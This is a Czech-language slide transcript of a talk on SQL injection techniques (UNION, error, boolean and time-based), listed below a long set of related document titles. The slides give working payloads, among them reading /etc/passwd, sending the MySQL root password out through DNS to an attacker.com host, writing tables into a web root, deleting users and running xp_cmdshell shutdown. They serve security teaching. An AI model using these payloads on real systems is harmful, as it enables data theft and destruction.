SQL injection jak ji možná neznáte Roman Kümmel

Podobné dokumenty
B0M33BDT Technologie pro velká data. Supercvičení SQL, Python, Linux

Zranitelnosti webových aplikací. Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz

Návrh a tvorba WWW stránek 1/14. PHP a databáze

SQL injection princip a ochrana

Informační systémy 2008/2009. Radim Farana. Obsah. Dotazy přes více tabulek

Stored Procedures & Database Triggers, Tiskové sestavy v Oracle Reports

NÁVRH A TVORBA HUDEBNÍ DATABÁZE

Informační systémy 2008/2009. Radim Farana. Obsah. Jazyk SQL

Operátory ROLLUP a CUBE

KIV/ZIS cvičení 6. Tomáš Potužák

Úvod do databázových systémů

Informační systémy ve zdravotnictví. 8. cvičení

Databáze SQL SELECT. David Hoksza

Západočeská univerzita v Plzni Katedra informatiky a výpočetní techniky. 9. června krovacek@students.zcu.cz

PostgreSQL. Podpora dědičnosti Rozšiřitelnost vlastní datové typy. Univerzální nasazení ve vědecké sféře

Inovace a zkvalitnění výuky prostřednictvím ICT. Základní seznámení s MySQL Ing. Kotásek Jaroslav

Databázové systémy I

Instalace. Produkt je odzkoušen pro MS SQL server 2008 a Windows XP a Windows 7. Pro jiné verze SQL server a Windows nebyl testován.

Novinky v PostgreSQL 9.4. Tomáš Vondra, 2ndQuadrant

Databázové systémy II. KIV/DB2 LS 2007/2008. Zadání semestrální práce

Databázové systémy. Cvičení 6: SQL

Úvod do databázových systémů

PG 9.5 novinky ve vývoji aplikací

Inovace a zkvalitnění výuky prostřednictvím ICT Databázové systémy MySQL základní pojmy, motivace Ing. Kotásek Jaroslav

Verzování a publikace dat na webu za pomoci PostgreSQL

KIV/ZIS - SQL dotazy. stáhnout soubor ZIS- 04_TestovaciDatabaze accdb. SQL dotazy. budeme probírat pouze SELECT

Databáze. Velmi stručný a zjednodušený úvod do problematiky databází pro programátory v Pythonu. Bedřich Košata

Úvod do databázových systémů

Informační systémy ve zdravotnictví. 6. cvičení

Použití dynamických parametrů prostředí SET_ENV_ v MarushkaDesignu

InnoDB transakce, cizí klíče, neumí fulltext (a nebo už ano?) CSV v textovém souboru ve formátu hodnot oddělených čárkou

DUM 15 téma: Příkazy pro řízení přístupu

Text úlohy. Systémový katalog (DICTIONARY):

Databázové systémy Cvičení 5

Univerzita Pardubice. Fakulta elektrotechniky a informatiky

Databázové systémy. Doc.Ing.Miloš Koch,CSc.

Databázové systémy, MS Access. Autor: Ing. Jan Nožička SOŠ a SOU Česká Lípa VY_32_INOVACE_1130_Databázové systémy, MS Access_PWP

SQL v14. 4D Developer konference. 4D Developer conference 2015 Prague, CZ Celebrating 30 years

4. blok část A Logické operátory

Obchodní akademie a Jazyková škola s právem státní jazykové zkoušky Jihlava

Úvod do databázových systémů

Zápisování dat do databáze

Úvod do databází. Modelování v řízení. Ing. Petr Kalčev

Informační systémy ve zdravotnictví. 10. cvičení

Data x Informace x Znalosti

Databázové systémy Cvičení 5.3

Kurz Databáze. Obsah. Dotazy. Zpracování dat. Doc. Ing. Radim Farana, CSc.

Databázové a informační systémy. Dokumentace k projektu. Učební sklad

Třídy a objekty. Třídy a objekty. Vytvoření instance třídy. Přístup k atributům a metodám objektu. $z = new Zlomek(3, 5);

MySQL. mysql> CREATE DATABASE nova CHARACTER SET latin2 COLLATE latin2_czech_cs; Query OK, 1 row affected (0.02 sec)

KIV/ZIS cvičení 5. Tomáš Potužák

Uložené procedury Úvod ulehčit správu zabezpečení rychleji

8.2 Používání a tvorba databází

Univerzita Palackého v Olomouci Radek Janoštík (Univerzita Palackého v Olomouci) Základy programování 4 - C# 10.4.

Bezpečnost a bezpečné programování

Databázové systémy a SQL

Michal Krátký, Miroslav Beneš

7. Integrita a bezpečnost dat v DBS

7. Integrita a bezpečnost dat v DBS

První pomoc pro DBA. administrátory CIDUG. Milan Rafaj IBM Česká republika

Zabezpečení webové vrstvy a EJB projektu Část nastavení specifická pro Glassfish, část dána Java EE

Popis logování v aplikačním serveru

Vkládání, aktualizace, mazání

MySQL sežere vaše data

Obsah. SQL konstrukce select join Rekurze (rekurzivní with) Analytické funkce, group by Pivoting

Vzorové příklady SQL. Tabulka: Kniha CREATE TABLE kniha (id INTEGER, název VARCHAR(50), PRIMARY KEY (id))

Semestrální práce z DAS2 a WWW

Testování webových aplikací Seznam.cz

XMW4 / IW4 Pokročilé SELECT dotazy. Štefan Pataky

2. blok část B Základní syntaxe příkazů SELECT, INSERT, UPDATE, DELETE

Databázové systémy. - SQL * definice dat * aktualizace * pohledy. Tomáš Skopal

CSPUG 2011-květen. GridSQL a pg-pool II. Vratislav Beneš benes@optisolutions.cz

Databázové systémy úvod

U koly na procvic ení jazyka T-SQL

Embedded SQL v C/C++ úvod. Administrace Oracle Kateřina Opočenská

Základy informatiky. 08 Databázové systémy. Daniela Szturcová

Multi-dimensional expressions

Co bude výsledkem mého SELECTu? RNDr. David Gešvindr MVP: Data Platform MCSE: Data Platform MCSD: Windows Store MCT

PL/SQL. Jazyk SQL je jazykem deklarativním, který neobsahuje procedurální příkazy jako jsou cykly, podmínky, procedury, funkce, atd.

17. července :51 z moravec@yahoo.com

Použití databází na Webu

Databázové systémy I

Základní přehled SQL příkazů

Databázové a informační systémy

Jazyk SQL databáze SQLite. připravil ing. petr polách

Úvod do databázových systémů 3. cvičení

Databáze I. Přednáška 4

Optimalizace dotazů a databázové transakce v Oracle

SQL. relační databázový systém. v úvodní kurz jazyka SQL

Hitparáda webhackingu nestárnoucí hity. Roman Kümmel

Administrace Oracle. Práva a role, audit

6. blok část C Množinové operátory

Virtual private database. Antonín Steinhauser

SII - Informatika. 1. Atribut relace, jehož hodnota jednoznačně určuje prvek v jiné relaci, se nazývá:

SQL SQL-SELECT. Informační a znalostní systémy. Informační a znalostní systémy SQL- SELECT

Tabulka fotbalové ligy

Internetová filmová databáze IFDB

Klíčová slova: dynamické internetové stránky, HTML, CSS, PHP, SQL, MySQL,

Univerzita Pardubice. Fakulta elektrotechniky a informatiky SEMESTRÁLNÍ PRÁCE PRO PŘEDMĚT IDAS2

Databázové systémy a SQL

Transkript:

SQL injection jak ji možná neznáte Roman Kümmel r.kummel@hacker-consulting.cz

Výskyt První zmínky o SQL injekci pochází z roku 1998 Ani po ti letech není situace uspokojivá Zranitelností SQL injection trpí v současné době stále přibližně 20% webových a jiných aplikací

Rychlokurz SQL Data jsou na SQL serveru uložena v databázích / tabulkách Každá tabulka se skládá ze sloupců určitých datových typů login name password email pepa Josef Štědrý 955db0b81ef1989b4 pepa@mail.com drvostep Jan Novotný b8c20d3ab88e1133 j.novo@mail.com hydra Hydra Stará 6a284155906c26cb hydra@mail.eu SQL jazyk disponuje příkazy pro práci s daty INSERT, SELECT, UPDATE, DELETE, SELECT * FROM users WHERE login = pepa

SQL injekce aneb WTF? SELECT * FROM users WHERE (login = $login ) AND (pass= $pass ) SELECT * FROM users WHERE (login = admin )-- ) AND (pass= )

SQL injekce má mnoho tváří UNION-based SQL injection ERROR-based SQL injection BOOLEAN-based SQL injection TIME-based SQL injection

UNION-based SQL injection Výsledky dotazů jsou zobrazovány na monitoru Lze připojovat různé tabulky Útočníkovi stačí vhodně se zeptat, a databáze vydá veškerý svůj obsah SELECT * FROM messages WHERE iduser = $iduser SELECT * FROM messages WHERE iduser = 0 UNION ALL SELECT login, pass FROM users

Zranitelné nemusí být pouze WHERE SELECT * FROM zbozi WHERE nazev = $query ORDER BY $order LIMIT $count,$from SELECT * FROM zbozi WHERE nazev = LIMIT 0,10 UNION ALL SELECT login, pass FROM users SELECT * FROM zbozi WHERE nazev = LIMIT 0,10 UNION ALL SELECT login, pass FROM users--,10

Boolean-based SQL injection Vím, že mi to nemůžeš říct. Tak jen pokývej hlavou, pokud mám pravdu. Výstup dotazu se nezobrazuje ve formě textu na monitoru Výsledek je ale přesto na monitoru rozpoznatelný Je možné se pouze ptát, zda máme / nemáme pravdu Většinou dolujeme data po jednotlivých znacích Začíná heslo administrátora na A?

Boolean-based SQL injection SELECT * FROM users WHERE (login = user ) AND podmínka -- ) AND (heslo= ) SELECT * FROM zbozi WHERE nazev = ORDER BY IF(podmínka, nazev, cena) ORDER BY (SELECT CASE WHEN podmínka THEN nazev ELSE cena END) Podmínka: ((SELECT count(*) FROM users WHERE login = admin AND pass LIKE a% )>0)

Nejen SELECT dokáže promluvit UPDATE users SET name = $name WHERE iduser = $iduser UPDATE users SET name = OR podmínka WHERE iduser = 10 AND podmínka DELETE messages WHERE idmess = 10 AND podmínka INSERT INTO users(name, login, pass) VALUES ( $name, $login, $pass ) INSERT INTO users(name, login, pass) VALUES ( OR podmínka, login, hash )

TIME-based SQL injection Výsledek dotazu se nijak neprojevuje na grafickém výstupu Vhodným využitím logických operátorů lze přesto dosáhnout výsledku AND má při vyhodnocování výrazu přednost Nejprve se vyhodnocuje levá strana Pravá strana se vyhodnocuje pouze v případě pravdivosti levého výrazu podmínka AND sleep(10) UPDATE statistics SET views = views + 1 WHERE url = $url

Jak rozmluvit mlčenlivé Ukládáme data do souboru SELECT * FROM users WHERE login = OR a = a INTO OUTFILE /var/www/myweb/users.txt -- AND pass= Vyvoláváme chyby Přenášíme data přes DNS

Error-based SQL injection To jsem neměl říkat, to jsem fakt neměl říkat... BIGINT Overflow SELECT * FROM users WHERE login = OR ~0+!(SELECT * FROM (SELECT database())x)-- AND pass= Double query injection SELECT * FROM users WHERE login = OR (select 1 from (select count(*), concat(user(), floor(rand(0)*2))x from information_schema.tables group by x) a)-- AND pass=

LOAD_FILE a DNS SELECT * FROM zbozi WHERE nazev = 'xxx' UNION ALL SELECT LOAD_FILE('/etc/passwd')-- SELECT * FROM zbozi WHERE nazev = 'xxx' UNION ALL SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root LIMIT 1),'.attacker.com\\foobar'))-- Každá subdoména může mít až 63 znaků, celek pak až 248 znaků

Porovnání jednotlivých metod Metoda Počet requestů Čas (sec) Union-based 3 1 Error-based 777 9 DNS exfiltration 1 409 35 Boolean-based 29 212 214 Time-based 32 716 17 720 Uvedené hodnoty byly naměřeny při získávání obsahu tabulky information_schema.collations o velikosti cca 4KB.

Tímto to rozhodně nekončí DoS SELECT * FROM zbozi WHERE nazev = 'xxx' UNION ALL SELECT BENCHMARK(10000, MD5( test ))-- Řetězení příkazů SELECT * FROM zbozi WHERE nazev = 'xxx'; DELETE FROM users -- Spouštění stored procedur SELECT * FROM zbozi WHERE nazev = 'xxx'; exec master.dbo.xp_cmdshell shutdown -t 0 -s -- a další

Nástroje SQLmap SQL ninja Havij Sculptor a další

Reference Practical Identification of SQL Injection Vulnerabilities, US-CERT, https://www.us-cert.gov/sites/default/files/publications/practical-sqli-identification.pdf BIGINT Overflow Error Based SQL Injection, Osanda Malith Jayathissa, https://www.exploit-db.com/docs/37733.pdf Error Based/Double Query SQL injection, Zer0Freak, http://zerofreak.blogspot.cz/2012/02/tutorial-by-zer0freak-zer0freak-sqli.html Data Retrieval over DNS in SQL Injection Attacks, Miroslav Štampar, http://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf OWASP Testing Guide v.4, https://www.owasp.org/images/5/52/owasp_testing_guide_v4.pdf

Děkuji za pozornost